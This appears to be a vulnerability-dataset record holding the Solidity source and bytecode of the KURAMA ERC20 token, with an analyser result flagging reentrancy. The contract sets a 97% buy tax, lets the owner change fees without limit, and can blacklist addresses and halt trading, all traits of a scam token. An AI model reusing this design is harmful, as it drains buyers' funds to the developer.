pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KURAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KURAMA";
string private constant _symbol = "KURAMA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xe46b13b8CAD808d69d88a87F594d3ccD5b7Eb823);
address payable private _marketingAddress = payable(0xe46b13b8CAD808d69d88a87F594d3ccD5b7Eb823);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610521578063dd62ed3e14610541578063ea1644d514610587578063f2fde38b146105a757600080fd5b8063a2a957bb1461049c578063a9059cbb146104bc578063bfd79284146104dc578063c3c8cd801461050c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104465780638f9a55c01461046657806395d89b41146101fe57806398a5c3151461047c57600080fd5b80637d1db4a5146103e55780637f2feddc146103fb5780638da5cb5b1461042857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057806374010ece146103c557600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b5780636d8aa8f81461035b57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192b565b6105c7565b005b34801561020a57600080fd5b5060408051808201825260068152654b5552414d4160d01b6020820152905161023391906119f0565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a45565b610666565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102d557600080fd5b5061025c6102e4366004611a71565b61067d565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610233565b34801561032757600080fd5b5060155461028c906001600160a01b031681565b34801561034757600080fd5b506101fc610356366004611ab2565b6106e6565b34801561036757600080fd5b506101fc610376366004611adf565b610731565b34801561038757600080fd5b506101fc610779565b34801561039c57600080fd5b506102bb6103ab366004611ab2565b6107c4565b3480156103bc57600080fd5b506101fc6107e6565b3480156103d157600080fd5b506101fc6103e0366004611afa565b61085a565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506102bb610416366004611ab2565b60116020526000908152604090205481565b34801561043457600080fd5b506000546001600160a01b031661028c565b34801561045257600080fd5b506101fc610461366004611adf565b610889565b34801561047257600080fd5b506102bb60175481565b34801561048857600080fd5b506101fc610497366004611afa565b6108d1565b3480156104a857600080fd5b506101fc6104b7366004611b13565b610900565b3480156104c857600080fd5b5061025c6104d7366004611a45565b61093e565b3480156104e857600080fd5b5061025c6104f7366004611ab2565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc61094b565b34801561052d57600080fd5b506101fc61053c366004611b45565b61099f565b34801561054d57600080fd5b506102bb61055c366004611bc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101fc6105a2366004611afa565b610a40565b3480156105b357600080fd5b506101fc6105c2366004611ab2565b610a6f565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c02565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c63565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d785604051806060016040528060288152602001611d7d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611c02565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105f190611c02565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ae57506013546001600160a01b0316336001600160a01b0316145b6107b757600080fd5b476107c1816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106779061122d565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f190611c02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611c02565b601655565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611c02565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105f190611c02565b601855565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105f190611c02565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6012546001600160a01b0316336001600160a01b0316148061098057506013546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c4565b90506107c1816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105f190611c02565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c37565b9050602002016020810190610a009190611ab2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c63565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105f190611c02565b601755565b6000546001600160a01b03163314610a995760405162461bcd60e51b81526004016105f190611c02565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f78846107c4565b610f829190611c7e565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe6306107c4565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119f0565b5060006111ea8486611c96565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611468565b90506112aa838261148b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c37565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611cad565b8160018151811061139857611398611c37565b6001600160a01b0392831660209182029290920101526014546113be9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611cca565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611632565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d87611660565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e90866116ff565b6001600160a01b0389166000908152600260205260409020556115908161175e565b61159a84836117a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160d828261148b565b82101561162957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116535760405162461bcd60e51b81526004016105f191906119f0565b5060006111ea8486611d3b565b600080600080600080600080600061167d8a600c54600d546117cc565b925092509250600061168d611468565b905060008060006116a08e878787611821565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170c8385611c7e565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b6000611768611468565b905060006117768383611871565b3060009081526002602052604090205490915061179390826116ff565b30600090815260026020526040902055505050565b6006546117b590836116bd565b6006556007546117c590826116ff565b6007555050565b60008080806117e660646117e08989611871565b9061148b565b905060006117f960646117e08a89611871565b905060006118118261180b8b866116bd565b906116bd565b9992985090965090945050505050565b60008080806118308886611871565b9050600061183e8887611871565b9050600061184c8888611871565b9050600061185e8261180b86866116bd565b939b939a50919850919650505050505050565b60008261188057506000610677565b600061188c8385611d5d565b9050826118998583611d3b565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fd5b803561192681611906565b919050565b6000602080838503121561193e57600080fd5b823567ffffffffffffffff8082111561195657600080fd5b818501915085601f83011261196a57600080fd5b81358181111561197c5761197c6118f0565b8060051b604051601f19603f830116810181811085821117156119a1576119a16118f0565b6040529182528482019250838101850191888311156119bf57600080fd5b938501935b828510156119e4576119d58561191b565b845293850193928501926119c4565b98975050505050505050565b600060208083528351808285015260005b81811015611a1d57858101830151858201604001528201611a01565b81811115611a2f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5857600080fd5b8235611a6381611906565b946020939093013593505050565b600080600060608486031215611a8657600080fd5b8335611a9181611906565b92506020840135611aa181611906565b929592945050506040919091013590565b600060208284031215611ac457600080fd5b81356112aa81611906565b8035801515811461192657600080fd5b600060208284031215611af157600080fd5b6112aa82611acf565b600060208284031215611b0c57600080fd5b5035919050565b60008060008060808587031215611b2957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5a57600080fd5b833567ffffffffffffffff80821115611b7257600080fd5b818601915086601f830112611b8657600080fd5b813581811115611b9557600080fd5b8760208260051b8501011115611baa57600080fd5b602092830195509350611bc09186019050611acf565b90509250925092565b60008060408385031215611bdc57600080fd5b8235611be781611906565b91506020830135611bf781611906565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7757611c77611c4d565b5060010190565b60008219821115611c9157611c91611c4d565b500190565b600082821015611ca857611ca8611c4d565b500390565b600060208284031215611cbf57600080fd5b81516112aa81611906565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1a5784516001600160a01b031683529383019391830191600101611cf5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7757611d77611c4d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024efc43f7497c66aaa77a4a5ce2f0cb64921880b9d5263bf93dca0a6878163ac64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.